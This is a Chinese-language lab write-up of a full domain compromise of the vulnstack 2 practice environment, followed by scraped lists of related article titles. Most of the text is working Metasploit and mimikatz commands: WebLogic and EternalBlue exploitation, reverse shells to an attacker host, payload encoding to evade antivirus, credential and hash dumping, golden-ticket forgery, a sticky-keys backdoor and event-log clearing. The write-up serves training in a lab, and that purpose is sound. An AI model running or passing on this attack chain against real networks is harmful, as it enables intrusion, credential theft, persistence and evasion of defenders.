第一次写靶场实战的文章,有不足之处还请多多指教。本次实战的靶场是红日安全vulnstack系列的第二个靶场。

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

环境搭建

网络环境

网卡配置

只需要在VM上选择对应网卡即可,不需要在靶机中进行配置。

DC

IP:10.10.10.10 (VMnet5)
OS:Windows 2012(x64)

WEB

IP1:192.168.111.80 (VMnet6)
IP2:10.10.10.80 (VMnet5)
OS:Windows 2008(x64)

PC

IP1:192.168.111.201 (VMnet6)
IP2:10.10.10.201 (VMnet5)
OS:Windows 7(x86)

开启靶场

进入C:\Oracle\Middleware\user_projects\domains\base_domain目录下,双击startWebLogic开启服务。

外网渗透

我们已知当前Web服务器的公网IP为192.168.111.80,对Web服务器进行端口扫描,以期发现是否有可以利用的端口服务,从而突破边界。

端口扫描

nmap -sV -Pn -T4 192.168.111.80

【一>所有资源获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)

漏洞探测

通过端口扫描我们发现Web服务器开启了80、7001等端口,其他端口如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接进入Web服务器。这里我们先访问Web服务,发现80端口页面是空白的,在7001端口我们发现Web服务器开启了Weblogic,尝试使用WeblogicScan脚本探测漏洞:

python3 WeblogicScan.py -u 192.168.111.80 -p 7001

漏洞利用

通过脚本探测发现存在CVE-2019-2725,我们可以使用网上的exp,这里我们使用msf自带的漏洞利用模块:

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run

这里还需要在advanced选项中对payload进行简单的编码:

setg EnableStageEncoding true
setg StageEncoder x64/zutto_dekiru

成功返回meterpreter。

这里我们做编码的目的是为了绕过360,网上也有一些其它免杀的方式,大家可以自行学习,这里使用的msf的自免杀,使用x64/zutto_dekiru编码绕过。

权限提升

在我们成功返回shell后,发现我们当前是普通用户权限,如果要完全控制这台机器,需要进一步提权。

切换目录到C:\Users\de1ay下,使用meterpreter上传Sherlock脚本:

cd C:/Users/de1ay
upload Sherlock.ps1

[图片上传中…(image-d1bca3-1636183507751-34)]

进入shell模式,使用Sherlock脚本探测可用于本地提权的漏洞:

powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"

这里我们通过Sherlock脚本发现存在MS15-051相关漏洞,使用msf自带的利用模块提权:

use exploit/windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/reverse_tcp
set session 1
set target Windows x64
set lhost 192.168.111.128
run

提权成功:

至此,我们已经成功拿下了边界服务器的控制权,可以进一步深入内网了。

内网渗透

在进入内网后,我们要明确自己的目标,由于该靶场没有flag需要获取,所以我们的目标就是拿下整个域的控制权,明确了目标后,我们就可以针对目标进行信息收集了。

信息收集

systeminfo

ipconfig /all

通过查询主机信息和网络信息,我们发现该服务器主机名为WEB,处于域环境,并且有两张网卡,其内网网段为10.10.10.0/24,主DNS服务器IP为10.10.10.10,在域环境中,域控制器往往同时作为DNS服务器,由此判断,我们要找的域控制器IP很可能就是10.10.10.10

net user
net user /domain
net time /domain

通过查询用户信息,我们获取了域成员信息,并可基本做出判断域控制器的主机名为DC

ping DC

通过对DC使用ping命令,我们发现其IP为10.10.10.10,由此我们最终做出判断该域环境中的域控制器主机名为DC,内网ip地址为:10.10.10.10,并且我们目前控制的这台Web服务器可以访问域控制器

net group "Domain Admins" /domain

net group "domain computers" /domain

ping PC

这里我们通过ping PC发现PC机的ip为10.10.10.201,但是没有返回数据,说明此处防火墙禁止了ICMP协议,在后面对PC机进行内网渗透时可以考虑其它协议。

至此,我们已经初步完成了内网信息收集:

该靶场为域环境:de1ay.com
该靶场存在三台主机:DC、PC、WEB
该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24
该靶场的域管理员为:Administrator

设置代理

在对内网进行了初步的信息收集后,我们要开始攻击内网主机了,但是内网中的机器和我们的攻击机并不处于同一网络当中,所以要通过Web服务器建立代理,这里有很多内网穿透工具可以使用,如ew、frp、chisel等,我这里直接使用msf建立路由,并开启socks代理。

建立路由:
route add 10.10.10.0 255.255.255.0 1

开启socks代理:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run

配置代理工具proxychains4:
vim /etc/proxychains4.conf

这样,我们就可以使用msf以及设置了代理的其它工具攻击内网中的主机了。

在信息收集时,我们使用了ping命令简单探测了一下内网连通性,发现PC机无法ping通,这可能是防火墙阻止了ICMP协议,这里我们通过代理使用nc命令探测,发现可以连通,说明防火墙并没有阻止TCP协议的流量。

proxychains4 nc -zv 10.10.10.80 135
proxychains4 nc -zv 10.10.10.201 135

发现防火墙并没有拦截TCP流量后,我们就可以使用TCP协议进行数据传输了。

横向移动

先扫一下端口。

发现两台机器都开起了445端口,探测以下是否存在永恒之蓝漏洞:

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.10
run

发现两台主机都存在该漏洞,尝试使用msf内置的漏洞利用模块:

use exploit/windows/smb/ms17_010_psexec
set rhosts 10.10.10.10
set payload windows/x64/meterpreter/bind_tcp
set lport 443
run

域控制器执行成功,域内成员机PC执行失败:

至此,我们已成功获得域控制器权限。

域内成员机PC我们没有通过永恒之蓝漏洞拿下来,这里采用其它方法,首先我们在之前的Web服务器上加载kiwi,提取服务器上储存的密码:

sessions 2
load kiwi
creds_all

我们成功提取到了两个账号的明文密码,但是这里没有域管理员的账号密码。

这里我们使用smart_hashdump模块提取域控中的哈希:

use post/windows/gather/smart_hashdump
set session 3
run

成功提取到了域内成员的hash值,并且我们发现域管理员的hash和其它域成员的hash相同,这说明域管理员使用了和域成员相同的密码(该靶场存在密码复用,如果密码不相同,我们可以通过哈希传递进行横向移动),这样我们可以就获得了域管理员的账号密码。

我们先使用msf生成一个木马:

msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs

然后,将该木马上传到已经被我们控制的web服务器上:

upload /tmp/msf.vbs

进入shell,与PC主机建立IPC$连接:

net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com

将上传的木马复制到PC机C盘目录下:

copy msf.vbs \\10.10.10.201\c$

通过端口扫描我们发现PC开启了3389端口:

在msf上开启监听:

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set stageencoder x86/shikata_ga_nai
set rhosts 10.10.10.201
set lport 443
run

连接PC机的远程桌面,使用域管理员账号登录PC,上线msf:

proxychains4 rdesktop 10.10.10.201:3389

到此,我们已经控制了域内全部主机。

权限维持

在获取了域内全部主机权限后,我们进一步来做权限维持,权限维持的方法很多,这里我们演示两种方式,使用黄金票据来实现域控制器的权限维持,使用粘滞键后门实现PC机的权限维持

域控制器权限维持

在之前的信息收集过程中,我们已经成功获取到了krbtgt的hash值:

因为PC机的session没有进行提权,并且是域成员账号,可以帮助我们获取域的SID,所以我们切换到PC机的session,获取域SID:

whoami /user

上传mimikatz到PC机,进入PC的shell模式,发现当前用户为普通域成员,无法访问域控制器目录。

使用mimikatz生成黄金票据并注入内存:

mimikatz# kerberos::purge
mimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribi
mimikatz# kerberos::ptt administrator.kiribi

成功注入内存,我们尝试访问域控制器C盘:

dir \\DC\C$

发现在将票据注入内存后,可以成功访问域控制器目录,说明黄金票据有效。还有其它域控制器权限维持的方式,这里不进行具体演示了。

粘滞键后门

在PC机上使用粘滞键后门前,需要先进行提权。这里同样上传Sherlock脚本进行探测利用:

提权成功。

使用msf中的后渗透模块添加粘滞键后门:

use post/windows/manage/sticky_keys
set session 8
run

痕迹清除

删除之前上传的mimikatz和Sherlock脚本。

run event_manager -c

结语

关于免杀,我使用的全部是msf的编码自免杀,64位使用的是x64/zutto_dekiru,32位使用的是x86/shikata_ga_nai,360都没有拦截。虽然靶机中有360,但是我直接上传的mimikatz也没有被杀,所以我有些怀疑是360的版本比较低,除了web服务器上传的第一个payload,其它都进行了编码处理,而第一个也确实没有执行成功,这说明360至少对第一个payload是拦截了的。

本次靶场练习到这里就全部结束了,在权限维持和免杀等方面仍然有很多需要学习的地方,这个靶场总体上比较简单,在横向移动和权限维持等方面还有很多方法可以尝试,由于本人深度沉迷msf,所以这篇文章中的整个渗透过程都是基于msf进行的,大家也可以多多尝试其它工具和方法,比如CS、Empire等等。

记录渗透靶场实战【网络安全】相关推荐

  1. [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  2. php网站渗透实战_【案例分析】记一次综合靶场实战渗透

    原标题:[案例分析]记一次综合靶场实战渗透 时间有点久,这里主要和大家分享一下思路. 该靶场是多层网络下的综合渗透,只开放了一个web端可以访问,其他均处于内网. 开始渗透 首先进入靶场开放的唯一一个 ...

  3. VulnHub渗透测试实战靶场 - Odin:1

    VulnHub渗透测试实战靶场 - Odin:1 题目描述 环境下载 NULLY CYBERSECURITY: 1靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 题目描述 Odin v ...

  4. 【思否编程公开课】限时免费 网络安全之 Kali 渗透入门实战

    思否编程打造全新公开课系列,邀请大神级讲师分享技术干货,快来围观看直播~ 主题 网络安全之 Kali 渗透入门实战 内容介绍: 网络安全法的颁布后对企业网络安全建设有严格的要求,如果企业出现安全事故, ...

  5. VulnHub渗透测试实战靶场 - POTATO (SUNCSR): 1

    VulnHub渗透测试实战靶场 - POTATO(SUNCSR): 1 环境下载 POTATO (SUNCSR): 1靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 环境下载 戳此进行 ...

  6. VulnHub渗透测试实战靶场 - THE ETHER: EVILSCIENCE

    VulnHub渗透测试实战靶场 - THE ETHER: EVILSCIENCE 环境下载 THE ETHER: EVILSCIENCE靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 ...

  7. VulnHub渗透测试实战靶场-HA: FORENSICS

    VulnHub渗透测试实战靶场-HA: FORENSICS 题目描述 环境下载 HA: FORENSICS靶机搭建 渗透测试 信息搜集 Flag获取 Flag-1 Flag-2 Flag-3 Flag ...

  8. 渗透测试【网络安全】入门指南【20190607】

    原文地址:https://www.52stu.org/?p=149 来源:5号暗区 5号黯区 五号黯区 5号暗区 渗透测试入门手册 本手册将持续更新!这是20190707版 如果觉得本文有用,请高抬贵 ...

  9. 【渗透测试实战】PHP语言有哪些后门?以及利用方法

    目录 后门 php.ini构成的后门 .user.ini文件构成的PHP后门 反序列化 PHP序列化实现 常见处理器 序列化格式 private与protect PHP反序列化漏洞 利用点 SoapC ...

最新文章

  1. python绘制数学三维图
  2. Java——BigInteger类和BigDecimal类
  3. 高性能Javascript 分割任务学习笔记
  4. 我大学期间看的好书推荐
  5. 欢迎来到元宇宙的虚拟世界
  6. 【华为云技术分享】【昇腾】ModelArts与Atlas 200 DK云端协同开发——行人检测Demo(提供完整Demo)
  7. 测试你的样子长得美与丑「超准的测试」
  8. java6和java7的区别_Java String的intern方法 在JDK6和JDK7的不同行为
  9. Word表格转到Excel中
  10. WARNING: The converted filename is an ASM fully qualified filename.
  11. SAP第四代增强 BTE
  12. sqli-labs简单安装
  13. VS2008 ActiveX(ocx控件)的调试工具ActiveX Control Test Container安装说明
  14. mysql连接不上数据库
  15. scrapy爬取动态页面
  16. mac修改默认python版本_Mac系统修改Python版本软链接
  17. P2P平台尝试大数据征信初见成效
  18. 欧盟对湾区建设_欧盟委员会对.EU域名进行掉头处理
  19. 企业选择服务器托管好吗
  20. 华为鸿蒙电视可以装软件吗,华为智慧屏V系列可以安装第三方软件吗?分享安装当贝市场教程...

热门文章

  1. 如何防范SQL注入式攻击?
  2. apache 开启php fpm,apache php fpm安装方法详解
  3. 会声会影X5捕获视频失败
  4. RK3288 android 5.1 HDMI 喇叭同时输出声音
  5. 使用抽象类阻止实例化
  6. 时序逻辑电路总结【一】触发器
  7. 完美解决 请在微信客户端打开链接
  8. Mysql 循环更新
  9. 如何将镜像文件上传到服务器,通过把docker镜像保存为文件载入到别的服务器
  10. 【Linux】alias及设置